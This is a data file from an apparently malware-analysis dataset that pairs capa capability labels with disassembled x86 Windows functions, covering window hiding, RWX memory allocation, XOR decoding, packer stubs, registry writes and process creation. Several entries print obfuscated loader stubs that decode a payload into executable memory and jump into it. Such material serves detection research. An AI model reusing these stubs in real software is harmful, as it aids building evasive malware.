joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002fea
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x1000302d
push 0x2b
push 0x403dd0e
push 6
call fcn.1000cc77
add esp, 0xc
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
fadd qword [0x10014251]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
call fcn.100012bb
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x184
call fcn.1000dd60
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10003080
push ebx
call fcn.1000cc89
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x100030b6
push 0xa8
push 0x403dd0e
push 6
call fcn.1000cc77
add esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x100030cd
mov eax, 0x10014248
jmp 0x100030ee
mov eax, dword [ebp - 8]
test eax, eax
je 0x100030e9
push eax
mov ebx, eax
call fcn.10001905
inc eax
push eax
call fcn.1000cc83
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x100030ee
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x100030ff
push ebx
call fcn.1000cc89
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4

Function at 0x100031d3
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 0xc], 0
jne 0x10003221
mov dword [ebp - 4], esp
push 0
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 4], esp
je 0x10003217
push 0x43
push 0x403dfa8
push 6
call fcn.1000cc77
add esp, 0xc
jmp 0x100032f7
push dword [ebp + 8]
call fcn.100032fd
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jne 0x10003271
mov dword [ebp - 4], esp
push 7
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 4], esp
je 0x10003267
push 0xbd
push 0x403dfa8
push 6
call fcn.1000cc77
add esp, 0xc
jmp 0x100032f7
push dword [ebp + 8]
call fcn.1000333d
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jne 0x100032c1
mov dword [ebp - 4], esp
push 5
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 4], esp
je 0x100032b7
push 0x137
push 0x403dfa8
push 6
call fcn.1000cc77
add esp, 0xc
jmp 0x100032f7
mov dword [ebp - 4], esp
push 4
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 4], esp
je 0x100032f2
push 0x16f
push 0x403dfa8
push 6
call fcn.1000cc77
add esp, 0xc
jmp 0x100032f7
mov esp, ebp
pop ebp
ret 8
Function at 0x10005880
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0x2000
push 0x80000301
push 0
push 0x1000
push 2
mov ebx, 0xc8
call fcn.1000e000
add esp, 0x1c
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0x40
push dword [ebp - 8]
push dword [ebp + 0xc]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x100058f4
push 0x39
push 0x4012ab7
push 6
call fcn.1000cc77
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000596a
push 0x80000301
push 0
push 0x2000
push 0x80000301
push 0
push 0x1000
push 2
mov ebx, 0xc8
call fcn.1000e000
add esp, 0x1c
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0x40
push dword [ebp - 8]
push dword [ebp + 0xc]
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10005967
push 0xda
push 0x4012ab7
push 6
call fcn.1000cc77
add esp, 0xc
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x10005972
mov esp, ebp
pop ebp
ret 8

Function at 0x1000c6c6
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push dword [ebp + 8]
call fcn.1000c827
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], esp
push 0x40
push 0x1000
push dword [ebp - 4]
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x1000c723
push 0x4d
push 0x403de3c
push 6
call fcn.1000cc77
add esp, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
je 0x1000c735
add eax, 8
push eax
xor eax, eax
call dword [sym.imp.KERNEL32.dll_SetHandleCount]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x1000c75c
push 0x9c
push 0x403de3c
push 6
call fcn.1000cc77
add esp, 0xc
mov dword [ebp - 0x10], eax
push dword [ebp - 4]
push dword [ebp - 0x10]
push dword [ebp - 8]
call fcn.1000c89d
mov eax, dword [ebp - 8]
jmp 0x1000c775
mov esp, ebp
pop ebp
ret 4
Function at 0x1000d980
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x20
push ebx
push esi
push edi
lea ecx, [esp + 0x18]
call fcn.1000eeb0
lea eax, [esp + 0x10]
mov dword [esp + 0x18], 0x1001014c
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
test edi, edi
mov dword [esp + 0x14], edi
je 0x1000da42
mov ecx, dword [esp + 0x10]
mov eax, 1
cmp ecx, eax
mov dword [esp + 0xc], eax
jle 0x1000da3b
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea ebx, [edi + 4]
mov ecx, dword [ebx]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push ecx
push 0
push 0x3a8
call ebp
mov esi, eax
test esi, esi
jle 0x1000da26
lea edx, [esi + 1]
push edx
call fcn.1000cfb0
mov edi, eax
add esp, 4
test edi, edi
je 0x1000da18
mov eax, dword [ebx]
push 0
push 0
push esi
push edi
push 0xffffffffffffffff
push eax
push 0
push 0x3a8
call ebp
mov byte [eax + edi], 0
push edi
lea ecx, [esp + 0x20]
call fcn.1000f140
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
inc eax
add ebx, 4
cmp eax, ecx
mov dword [esp + 0x10], eax
jl 0x1000d9d2
pop ebp
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ebx, dword [esp + 0x34]
mov eax, dword [ebx]
test eax, eax
je 0x1000da55
push eax
call fcn.1000f300
add esp, 4
mov edi, dword [esp + 0x28]
shr edi, 2
shl edi, 2
lea ecx, [edi + 8]
push ecx
call fcn.1000cfb0
mov dword [eax], 1
mov edx, dword [esp + 0x2c]
shr edx, 2
mov dword [eax + 4], edx
mov esi, dword [esp + 0x2c]
mov ecx, dword [esp + 0x24]
add esp, 4
neg esi
sbb esi, esi
and esi, ecx
mov ecx, edi
mov edx, ecx
lea edi, [eax + 8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
mov dword [ebx], eax
mov dword [esp + 0x18], 0x10010148
call fcn.1000f0b0
pop edi
pop esi
pop ebx
add esp, 0x20
ret

Function at 0x1000df30
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x1000df4e
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x1000df43
pop esi
ret
Function at 0x1000f188
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x1000f197
pop dword [ebp - 0x24]
mov eax, 0x1000f197
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x3c7e1
push 0
mov eax, 0xe7a776d3
add eax, 0x2859c991
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0xa54d4037
add ecx, 0x5ab3156f
mov ebx, eax
mov esi, 0x10018600
add esi, dword [ebp - 0x24]
mov edi, 0x91558cc4
add edi, 0xd70c5e4f
mov edx, dword [esi]
sub dword [ebp - 0xc], ecx
sub edx, edi
xor dword [ebp - 8], 0xae12fbb7
mov dword [ebx], edx
add dword [ebp - 0x20], 0x60aeaa6
add ebx, 0x2c05cd9
sub ebx, 0x2c05cd5
add esi, 4
loop 0x1000f1eb
add eax, 0xaf10d015
add eax, 0x50f07956
mov ebx, eax
add eax, 0x8ac34a79
add eax, 0x753cb58c
mov ecx, 0x10000000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x4194e4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x4194f3
pop dword [ebp - 0x30]
mov eax, 0x4194f3
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xcf56f6f1
sub dword [ebp - 0x40], 0x8104b1a6
mov dword [ebp - 0x3c], 0xfb2296f5
add dword [ebp - 0x3c], 0x3710b550
mov dword [ebp - 0x38], 0x81825416
sub dword [ebp - 0x38], 0x35360fe8
mov dword [ebp - 0x34], 0x55f20003
add dword [ebp - 0x34], 0xaa0dfffd
lea eax, [ebp - 0x40]
push eax
mov eax, 0x65f0c5a1
sub eax, 0x65af0551
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x85f023d3
sub dword [ebp - 0x40], 0x117dba7d
mov dword [ebp - 0x3c], 0xa490f4d3
sub dword [ebp - 0x3c], 0x6324935e
mov dword [ebp - 0x38], 0x2918eed2
add dword [ebp - 0x38], 0x3a567d9a
mov dword [ebp - 0x34], 0x396ca70f
add dword [ebp - 0x34], 0xc69358f1
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x4eb0a0f3
sub eax, 0x4e6ee0a7
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x38694
push 0
call eax
mov ecx, 0x3a94
mov edi, eax
mov esi, 0x71491778
add esi, 0x8efa1288
add esi, dword [ebp - 0x30]
mov ebx, 0xf6fed8b9
add ebx, 0x81e9f97c
xor dword [ebp - 0x10], 0x34c585ea
mov edx, dword [esi]
xor edx, ebx
mov dword [ebp - 0x24], 0xa8fd6292
mov dword [edi], edx
add dword [ebp - 0x28], eax
add edi, 0xd800759a
sub edi, 0xd8007596
add esi, 0x2ac7459f
sub esi, 0x2ac7459b
loop 0x41960a
add eax, 0x9249ccbf
sub eax, 0x9248ef9c
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x401a40
Capabilities:
Write file on windows

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [ecx]
lea eax, [esp + 8]
push 0
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
ret 8

Function at 0x414b70
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section..pdata
lea edi, [esi - 0x10000]
push edi
jmp 0x414b8a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x414b91
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x414b80
mov eax, 1
add ebx, ebx
jne 0x414ba3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x414b98
jne 0x414bb4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414b98
xor ecx, ecx
sub eax, 3
jb 0x414bc8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x414c3a
mov ebp, eax
add ebx, ebx
jne 0x414bd3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x414be0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x414c04
inc ecx
add ebx, ebx
jne 0x414bf0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x414be5
jne 0x414c01
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414be5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x414c24
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x414c15
jmp 0x414b86
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x414c24
add edi, ecx
jmp 0x414b86
pop esi
mov edi, esi
mov ecx, 4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x414c42
cmp byte [edi], 5
jne 0x414c42
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x414c47
lea edi, [esi + 0x12000]
mov eax, dword [edi]
or eax, eax
je 0x414cbf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19be8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x19c24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x414c74
mov ecx, edi
jns 0x414ca3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19c2c]
or eax, eax
je 0x414cb9
mov dword [ebx], eax
add ebx, 4
jmp 0x414c91
call dword [esi + 0x19c28]
mov ebp, dword [esi + 0x19c30]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x414cf3
sub esp, 0xffffff80
jmp 0x401150
Function at 0x50540fec
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.vsansi.dll_RegSetValueExW]
test eax, eax
jle 0x50541011
and eax, 0xffff
or eax, 0x80070000
ret 8

Function at 0x5054eb3e
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x468
push ebx
push ebp
push esi
xor esi, esi
cmp dword [0x5055df98], esi
push edi
mov dword [esp + 0x10], esi
jne 0x5054ed0f
push 0x14
call sub.MSVCR70.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, esi
pop ecx
je 0x5054eb6f
mov ecx, eax
call fcn.5054e63e
jmp 0x5054eb71
xor eax, eax
mov dword [0x5055df98], eax
mov ecx, dword [eax]
push eax
call dword [ecx + 4]
mov dword [esp + 0x14], esi
mov esi, 0x5055dfa0
push esi
call fcn.5055166f
test eax, eax
je 0x5054ed0f
mov ebx, dword [sym.imp.MSVCR70.dll_wcscat]
push 0x505342dc
push esi
call ebx
push esi
mov edi, str.file:__
push edi
call ebx
add esp, 0x10
lea eax, [esp + 0x10]
push eax
mov eax, 0x50537848
push eax
push eax
mov ecx, 0x5055df50
call fcn.50538f90
test eax, eax
mov ebp, dword [sym.imp.MSVCR70.dll_swprintf]
jl 0x5054ec07
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
lea edx, [esp + 0x1c]
push edx
push eax
call dword [ecx + 0xc]
test eax, eax
jl 0x5054ec07
push dword [esp + 0x1c]
push esi
push 0x505342c4
push esi
call ebp
push dword [esp + 0x2c]
push edi
push 0x505342b8
push edi
call ebp
add esp, 0x20
mov dword [esp + 0x14], 1
jmp 0x5054ec11
push 0x505342ac
push esi
call ebx
pop ecx
pop ecx
mov eax, dword [esp + 0x10]
test eax, eax
je 0x5054ec24
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
and dword [esp + 0x10], 0
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.vsansi.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
jne 0x5054ecc7
cmp dword [esp + 0x14], 0
je 0x5054ed0f
push 0x5053429c
push edi
call dword [sym.imp.MSVCR70.dll_wcscpy]
pop ecx
pop ecx
push esi
call fcn.5055166f
push 0x505342dc
push esi
call ebx
push esi
push edi
call ebx
push 0x505342ac
push esi
call ebx
add esp, 0x18
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.vsansi.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x5054ed0f
lea eax, [esp + 0x4c]
push eax
push edi
lea eax, [esp + 0x278]
push 0x50534290
push eax
call ebp
mov eax, dword [0x5055df98]
mov ecx, dword [eax]
add esp, 0x10
lea edx, [esp + 0x270]
push edx
push eax
call dword [ecx + 0x20]
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.vsansi.dll_FindNextFileW]
test eax, eax
jne 0x5054ec8a
jmp 0x5054ed0f
lea eax, [esp + 0x4c]
push eax
push edi
lea eax, [esp + 0x278]
push 0x50534290
push eax
call ebp
mov eax, dword [0x5055df98]
mov ecx, dword [eax]
add esp, 0x10
lea edx, [esp + 0x270]
push edx
push eax
call dword [ecx + 0x20]
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.vsansi.dll_FindNextFileW]
test eax, eax
jne 0x5054ecc7
push dword [esp + 0x18]
call dword [sym.imp.kernel32.dll_FindClose]
mov eax, dword [0x5055df98]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x468
ret
Function at 0x5055166f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x5055167e
pop dword [ebp - 0x10]
mov eax, 0x70b9c1d7
add eax, 0xdf9b54a7
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xd4915763
add dword [ebp - 0x20], 0x79c0ede8
mov dword [ebp - 0x1c], 0x438f78bd
add dword [ebp - 0x1c], 0xeea3d388
mov dword [ebp - 0x18], 0x9301dcdb
add dword [ebp - 0x18], 0xb94a6753
mov dword [ebp - 0x14], 0x2d3c94a5
sub dword [ebp - 0x14], 0x2d3c94a5
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xd3ffaf84
sub dword [ebp - 0x20], 0x5f8d462e
mov dword [ebp - 0x1c], 0x8ed05ad7
add dword [ebp - 0x1c], 0xb29c069e
mov dword [ebp - 0x18], 0x96a3c0bc
add dword [ebp - 0x18], 0xcccbabb0
mov dword [ebp - 0x14], 0x901b9489
add dword [ebp - 0x14], 0x6fe46b77
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xb11e2566
sub eax, 0x60cb1432
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x39532
push 0
call eax
mov ecx, 0xd7d0ddee
sub ecx, 0xd7d096c2
mov edi, eax
mov esi, 0x68051960
add esi, 0xe85136a0
add esi, dword [ebp - 0x10]
mov ebx, 0x951155ee
sub ebx, 0xe2116afc
xor dword [ebp - 8], edi
mov edx, dword [esi]
xor dword [ebp - 0xc], 0x91311bc3
sub edx, ebx
xor dword [ebp - 8], 0xdcf07433
mov dword [edi], edx
sub dword [ebp - 0xc], 0x27f115b5
add edi, 4
add esi, 0x73dcae4c
add esi, 0x8c2351b8
loop 0x5055179b
add eax, 0x6147262e
sub eax, 0x614616ab
mov ebx, eax
add eax, 5
mov ecx, 0xa7686ba4
add ecx, 0xa8ea945c
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x5055a599
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x94
push esi
mov esi, ecx
call fcn.5055a582
and byte [esi + 0xc], 0
mov eax, 0x50530000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x1c]
push 0
push eax
mov dword [esi], 0x3c
call sub.MSVCR70.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x1c], 0x94
call dword [sym.imp.kernel32.dll_GetVersionExA]
cmp dword [ebp - 0xc], 2
jne 0x5055a5f3
cmp dword [ebp - 0x18], 5
jb 0x5055a60b
jmp 0x5055a607
cmp dword [ebp - 0xc], 1
jne 0x5055a60b
cmp dword [ebp - 0x18], 4
ja 0x5055a607
jne 0x5055a60b
cmp dword [ebp - 0x14], 0
jbe 0x5055a60b
mov byte [esi + 0xc], 1
lea eax, [esi + 0x18]
push eax
mov dword [esi + 0x10], 0x700
mov dword [esi + 0x14], 0x5055c050
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
mov eax, esi
pop esi
add ebp, 0x78
leave
ret
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41a928
mov eax, dword fs:[0]
push eax
sub esp, 0x68
mov eax, dword [0x421150]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x10
push 0
lea eax, [ebp - 0x1c]
push eax
call fcn.0040d9b0
add esp, 0xc
push 0x44
push 0
lea ecx, [ebp - 0x6c]
push ecx
call fcn.0040d9b0
add esp, 0xc
mov dword [ebp - 0x6c], 0x44
mov dword [ebp - 0x40], 1
movzx edx, byte [ebp + 0x10]
neg edx
sbb edx, edx
and edx, 5
mov word [ebp - 0x3c], dx
lea ecx, [ebp - 0x20]
call fcn.00401d40
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x20]
call fcn.00401e20
cmp dword [ebp + 0xc], 0
je 0x4010a9
push 0x41c2ec
lea ecx, [ebp - 0x20]
call fcn.00401e40
mov ecx, dword [ebp + 0xc]
push ecx
lea ecx, [ebp - 0x20]
call fcn.00401e20
push 0x41c2f0
lea ecx, [ebp - 0x20]
call fcn.00401e40
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
push 0x4000000
push 0
push 0
push 0
lea ecx, [ebp - 0x20]
call fcn.00401ce0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x4010f2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x70], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.00401de0
mov eax, dword [ebp - 0x70]
jmp 0x40114d
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.0040b0b0
add esp, 4
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x401115
lea edx, [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [ebp - 0x1c], 0
je 0x401125
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x18], 0
je 0x401135
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x74], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.00401de0
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x403450
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41aa40
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x421150]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x10]
call fcn.00408bf0
mov dword [ebp - 4], 0
push 0x104
mov eax, dword [ebp + 8]
push eax
push 1
push 0x104
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x30]
call fcn.00408d60
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
call fcn.00408e00
push eax
call fcn.0040e291
add esp, 0xc
lea ecx, [ebp - 0x30]
call fcn.00408de0
lea ecx, [ebp - 0x10]
call fcn.00408cd0
test eax, eax
je 0x4034e6
mov dword [ebp - 0x34], 0xb7
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.00408940
mov eax, dword [ebp - 0x34]
jmp 0x40367d
lea ecx, [ebp - 0x10]
call fcn.00408c30
lea ecx, [ebp - 0x10]
call fcn.00408d30
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], 0
mov edx, dword [ebp - 0x14]
push edx
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x10]
call fcn.00408b90
mov byte [ebp - 4], 1
push 0x41c52c
lea ecx, [ebp - 0x18]
call fcn.00401d60
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x14]
push ecx
push 0
lea edx, [ebp - 0x38]
push edx
lea ecx, [ebp - 0x10]
call fcn.00402300
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x50]
call fcn.004094c0
push eax
lea ecx, [ebp - 0x20]
call fcn.00408c10
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x38]
call fcn.00401de0
lea ecx, [ebp - 0x18]
push ecx
push 0x41c530
call fcn.00408bd0
add esp, 8
movzx edx, al
test edx, edx
je 0x403640
lea eax, [ebp - 0x1c]
push eax
push 0x41c534
lea ecx, [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x24]
call fcn.00401ec0
mov dword [ebp - 0x54], eax
mov edx, dword [ebp - 0x54]
mov dword [ebp - 0x58], edx
mov byte [ebp - 4], 6
mov eax, dword [ebp - 0x58]
push eax
lea ecx, [ebp - 0x18]
call fcn.00401e00
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x3c]
call fcn.00401de0
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x4035bf
jmp 0x403561
lea ecx, [ebp - 0x18]
call fcn.004094c0
push eax
lea ecx, [ebp - 0x20]
call fcn.00408c70
lea ecx, [ebp - 0x20]
call fcn.00408c30
lea ecx, [ebp - 0x20]
call fcn.00408cd0
test eax, eax
jne 0x40363b
mov ecx, dword [ebp + 0xc]
push ecx
lea ecx, [ebp - 0x20]
call fcn.004094c0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x40363b
call fcn.004090d0
mov dword [ebp - 0x40], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x20]
call fcn.00408940
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18]
call fcn.00401de0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x24]
call fcn.00401de0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.00408940
mov eax, dword [ebp - 0x40]
jmp 0x40367d
jmp 0x403561
mov dword [ebp - 0x44], 0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x20]
call fcn.00408940
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18]
call fcn.00401de0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x24]
call fcn.00401de0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.00408940
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret